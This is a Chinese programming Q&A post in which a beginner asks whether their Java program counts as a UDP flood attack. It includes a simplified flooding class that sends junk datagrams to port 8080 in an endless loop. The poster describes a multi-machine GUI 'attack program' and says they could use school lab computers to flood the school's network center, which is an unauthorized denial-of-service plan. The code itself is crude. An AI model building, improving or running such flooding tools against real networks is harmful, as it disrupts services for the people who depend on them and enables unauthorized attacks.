当前位置:编程学习 > JAVA >>

JAVA网络编程,用UDP协议发包速度过大是否形成U*D*P洪水

  DatagramPacket是用于打包数据的类,DatagramSocket的send()方法用于发送数据包,高手们都懂的,我只是刚刚学习JAVA网络编程
  假设我用多台电脑安装了我写的JAVA攻击程序(我用JAVA写了一个带GUI的软件,提供100KB/S-100MB/S的发包速度),攻*击*一台已经打开了8080端口的Web服务器,是不是这样就算是“U*D*P攻*击”了?
  我在虚拟机里面搭建了一个Web服务器,用netstat -a命令查看,8080端口确实已经是打开的,但是我以300MB/S的速度向虚拟机的服务器*发*包,似乎没有觉察到网络堵塞的现象(打开网页很流畅,看电影流畅)。我初学网络编程,不知道我的思路是不是正确的,还请教高人指教,如果是的话,我可以用学校实验室的电脑向学校的网络中心发包。

这是一段简化了的代码

package UDPFlood2;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import Network.UDPClient;

public class UDPClient2 extends Thread
{
    static DatagramSocket DSocket;
    static DatagramPacket DPacket;
    public UDPClient2()
    {
new Thread(this).start();
    }
    public void run()
    {
try
{
    DSocket = new DatagramSocket();
    Socket socket = new Socket("localhost", 8080);
    String str = "11111111111111111111111";// 垃圾信息
    byte[] arr = new byte[500000];
    arr = str.getBytes();
    DPacket = new DatagramPacket(arr, arr.length, InetAddress.getByName("localhost"), 8080);
    while(true)
    {
DSocket.send(DPacket);
Thread.currentThread().sleep(10);
    }
} catch (Exception e)
{
    e.printStackTrace();
}
    }
    protected void finalize() throws Throwable
    {
DSocket.close();
System.exit(0);
    }
    public static void main(String[] args)
    {
new UDPClient2();
    }
}
补充:Java ,  Java EE
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,